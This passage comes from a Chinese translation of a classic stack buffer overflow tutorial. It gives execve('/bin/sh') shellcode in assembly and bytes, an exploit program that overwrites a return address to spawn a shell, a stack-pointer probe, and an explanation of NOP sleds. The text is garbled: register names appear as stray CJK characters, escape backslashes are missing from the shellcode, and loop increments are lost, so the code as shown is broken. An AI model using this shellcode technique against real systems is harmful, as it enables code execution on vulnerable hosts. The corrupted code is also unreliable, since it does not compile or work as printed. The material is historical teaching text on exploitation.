--------------------------------------------------------
OK! 现在我们能够试验一下这段ShellCode了. 首先我们把他封装为C语言的形式.
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x18 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
xorl 陎,陎 # 2 bytes
movb 陎,0x7(%esi) # 3 bytes
movl 陎,0xc(%esi) # 3 bytes
movb $0xb,%al # 2 bytes
movl %esi,離 # 2 bytes
leal 0x8(%esi),靫 # 3 bytes
leal 0xc(%esi),韝 # 3 bytes
int $0x80 # 2 bytes
call -0x2d # 5 bytes
.string "/bin/sh" # 8 bytes
");
}
------------------------------------------------------------------------------
经过编译后,用gdb得到这段汇编语言的机器代码为:
xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh
现在我们能够写我们的试验程式了:
------------------------------------------------------------------------------
exploit1.c:
char shellcode[] =
"xebx18x5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b"
"x89xf3x8dx4ex08x8dx56x0cxcdx80xe8xecxffxffxff/bin/sh";
char large_string[128];
void main()
{
char buffer[96];
int i;
long *long_ptr = (long *) large_string;
for(i=0;i<32;i ) *(long_ptr i)=(int)buffer;
for(i=0;i<strlen(shellcode);i ) large_string[i]=shellcode[i];
strcpy(buffer,large_string);
}
-------------------------------------------------------------------------------------
在上面的程式中,我们首先用 buffer 的地址填充large_string[]并将ShellCode放在large_string[]的起始位置,从而确保在BufferOverflow 时,返回地址被覆盖为Buffer的地址(也就是ShellCode的入口地址).然后用strcpy将large_string的内容拷入 buffer,因为buffer只有96个字节的空间,所以这时就会发生Buffer Overflow. 返回地址被覆盖为ShellCode的入口地址. 当程式执行到main函数的结尾时,他会自动跳转到我们的ShellCode,从而创建出一个新的Shell.
现在我们编译运行一下这个程式:
------------------------------------------------------------------------------
[aleph1] $ gcc -o exploit1 exploit1.c
[aleph1] $ ./exploit1
$ exit
exit
[aleph1] $
------------------------------------------------------------------------------
OK! 能够看到,当执行test时,我们的ShellCode正确地执行并生成了一个新的Shell,这正是我们所希望看到的结果.
但是,这个例子还仅仅是个试验,下面我们来看一看在实际环境中如何使我们的ShellCode发挥作用.
--------------------------------------------------------------------------------
4. 实际运用中碰到的问题
在上面的例子中,我们成功地攻击了一个我们自己写的有Buffer Overflow缺陷的程式.因为是我们自己的程式,所以在运行时我们很方便地就能够确定出ShellCode的入口绝对地址(也就是Buffer地址),剩下的工作也就仅仅是用这个地址来填充large_string了.
但是当我们试图攻击一个其他程式时,问题就出现了.我们怎么知道运行时Shell Code所处的绝对地址呢? 不知道这个地址, 我们用什么来填充large_string,用什么来覆盖返回地址呢? 不知道用什么来覆盖返回地址,ShellCode如何能得到控制权呢? 而假如得不到控制权,我们也就无法成功地攻击这个程式,那么我们上面所做的任何工作都白费了.由此能够看出,这个问题是我们要解决的一个关键问题.
幸好对于任何程式来说堆栈的起始地址是相同的,而且在拷贝ShellCode之前,堆栈中已存在的栈帧一般来说并不多,长度大致在一两百到几千字节的范围内.因此,我们能够通过猜测加试验的办法最终找到ShellCode的入口地址.
下面就是个打印堆栈起始地址的程式:
sp.c
------------------------------------------------------------------------------
unsigned long get_sp(void) {
__asm__("movl %esp,陎");
}
void main() {
printf("0x%x ", get_sp());
}
------------------------------------------------------------------------------
[aleph1] $ ./sp
0x8000470
[aleph1] $
------------------------------------------------------------------------------
上面所说的方法虽然能解决这个问题, 但只要您稍微想一想就知道这个方法并不实用. 因为这个方法需要您在堆栈段中准确地猜中ShellCode的入口,偏差一个字节都不行.假如您运气好的话, 可能只要猜几十次就猜中了,但一般情况是,您必须要猜几百次到几千次才能猜中.而在您能够猜中前,我想大部分人都已放弃了.所以我们需要一种效率更高的方法来尽量减少我们的试验次数.
一个最简单的方法就是将ShellCode放在large_string的中部,而前面则一律填充为NOP指令(NOP指令是个任何事都不做的指令,主要用于延时操作,几乎任何CPU都支持NOP指令).这样,只要我们猜的地址落在这个NOP指令串中,那么程式就会一直执行直至执行到 ShellCode(如下图).这样一来,我们猜中的概率就大多了(以前必须要猜中ShellCode的入口地址,现在只要猜中NOP指令串中的任何一个地址即可).
低端内存 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 高端内存
文章整理:西部数码--专业提供域名注册、虚拟主机服务
http://www.west263.com
以上信息与文章正文是不可分割的一部分,如果您要转载本文章,请保留以上信息,谢谢!




